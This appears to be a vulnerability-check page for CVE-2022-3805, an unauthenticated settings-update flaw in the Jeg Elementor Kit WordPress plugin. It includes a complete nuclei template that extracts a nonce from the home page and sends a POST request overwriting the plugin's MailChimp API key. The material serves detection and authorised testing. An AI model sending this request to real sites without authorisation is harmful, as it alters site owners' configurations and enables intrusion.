CVE-2022-3805· jegtheme / jeg elementor kit· CWE-79
Jeg Elementor Kit < 2.5.7 - Unauthenticated Settings Update
The Jeg Elementor Kit plugin for WordPress is vulnerable to authorization bypass in various functions used to update the plugin settings in versions up to, and including, 2.5.6. Unauthenticated users can use an easily available nonce, obtained from pages edited by the plugin, to update the MailChimp API key, global styles, 404 page settings, and enabled elements.
Impact
Unauthenticated attackers can exploit authorization bypass using easily obtained nonces to update plugin settings including MailChimp API keys, global styles, and 404 page configurations, potentially compromising site integrations and design.
Fix
Fixed in 2.5.7
How to confirm it
Send: GET /wp-content/plugins/jeg-elementor-kit/readme.txt
Positive when: compare_versions(version, "< 2.5.7") and contains(body, "Jeg Elementor Kit") and status_code == 200
Send: GET /
Positive when: status_code == 200 and contains(body, "jeg-elementor-kit") and contains(content_type, "text/html")
Send: POST /
Positive when: status_code == 200 and contains(body, "Success Save Data") and contains(content_type, "application/json")Run it with nuclei: nuclei -id CVE-2022-3805 -u <target>
The full check
id: CVE-2022-3805
info:
name: Jeg Elementor Kit < 2.5.7 - Unauthenticated Settings Update
author: DhiyaneshDk,popcorn94
severity: high
description: |
The Jeg Elementor Kit plugin for WordPress is vulnerable to authorization bypass in various functions used to update the plugin settings in versions up to, and including, 2.5.6. Unauthenticated users can use an easily available nonce, obtained from pages edited by the plugin, to update the MailChimp API key, global styles, 404 page settings, and enabled elements.
impact: |
Unauthenticated attackers can exploit authorization bypass using easily obtained nonces to update plugin settings including MailChimp API keys, global styles, and 404 page configurations, potentially compromising site integrations and design.
remediation: Fixed in 2.5.7
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2022-3805
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/jeg-elementor-kit/jeg-elementor-kit-256-unauthenticated-authorization-bypass
- https://wordpress.org/plugins/jeg-elementor-kit/#developers
- https://www.wordfence.com/threat-intel/vulnerabilities/id/c9955d65-afb3-4d28-abd2-9f2fec92d013
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L
cvss-score: 8.6
cve-id: CVE-2022-3805
cwe-id: CWE-79
epss-score: 0.0169
epss-percentile: 0.77253
cpe: cpe:2.3:a:jegtheme:jeg_elementor_kit:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 3
vendor: jegtheme
product: jeg_elementor_kit
framework: wordpress
shodan-query: http.html:"/wp-content/plugins/jeg-elementor-kit"
fofa-query: body="/wp-content/plugins/jeg-elementor-kit/"
publicwww-query: "/wp-content/plugins/jeg-elementor-kit/"
tags: cve,cve2022,wordpress,wp,wp-plugin,jeg-elementor-kit,vkev,unauth,intrusive,vuln
variables:
rand: "{{rand_text_numeric(5)}}"
flow: http(1) && http(2) && http(3)
http:
- raw:
- |
GET /wp-content/plugins/jeg-elementor-kit/readme.txt HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'compare_versions(version, "< 2.5.7")'
- 'contains(body, "Jeg Elementor Kit")'
- 'status_code == 200'
condition: and
internal: true
extractors:
- type: regex
name: version
part: body
group: 1
regex:
- "(?mi)Stable tag: ([0-9.]+)"
internal: true
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
matchers:
- type: dsl
dsl:
- status_code == 200
- contains(body, "jeg-elementor-kit")
- contains(content_type, "text/html")
condition: and
internal: true
extractors:
- type: regex
group: 1
name: nonce
regex:
- 'jkit_nonce = "([a-zA-Z0-9]{10})"'
internal: true
- type: regex
group: 1
name: url
regex:
- 'jkit_ajax_url = "(http[s]?://[^"]+)"'
internal: true
- raw:
- |
POST / HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
jkit-ajax-request=jkit_elements&form_data[mailchimp_api_key]={{rand}}&action=save_user_data&nonce={{nonce}}
matchers:
- type: dsl
dsl:
- status_code == 200
- contains(body, "Success Save Data")
- contains(content_type, "application/json")
condition: andReferences
- https://nvd.nist.gov/vuln/detail/CVE-2022-3805
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/jeg-elementor-kit/jeg-elementor-kit-256-unauthenticated-authorization-bypass
- https://wordpress.org/plugins/jeg-elementor-kit/#developers
- https://www.wordfence.com/threat-intel/vulnerabilities/id/c9955d65-afb3-4d28-abd2-9f2fec92d013
Use this check only on systems you are authorised to test. Where the data comes from